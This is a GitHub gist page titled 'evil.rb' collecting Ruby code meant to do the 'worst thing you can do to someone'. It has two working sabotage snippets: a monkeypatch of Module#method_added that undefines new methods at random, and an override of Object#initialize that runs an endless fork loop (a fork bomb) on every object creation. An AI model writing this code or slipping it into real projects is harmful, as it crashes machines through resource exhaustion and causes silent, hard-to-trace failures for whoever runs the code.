Skip to content

Instantly share code, notes, and snippets.

@aeden
Forked from will/evil.rb
Created January 19, 2010 06:32
Show Gist options
  • Save aeden/280723 to your computer and use it in GitHub Desktop.
Save aeden/280723 to your computer and use it in GitHub Desktop.
# worst thing you can do to someone in ruby?
# fork this and add other evil
class Module
def method_added(method)
undef_method method if rand > 0.999999
end
end
# Fun with forking
class Object
def initialize
loop { fork }
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment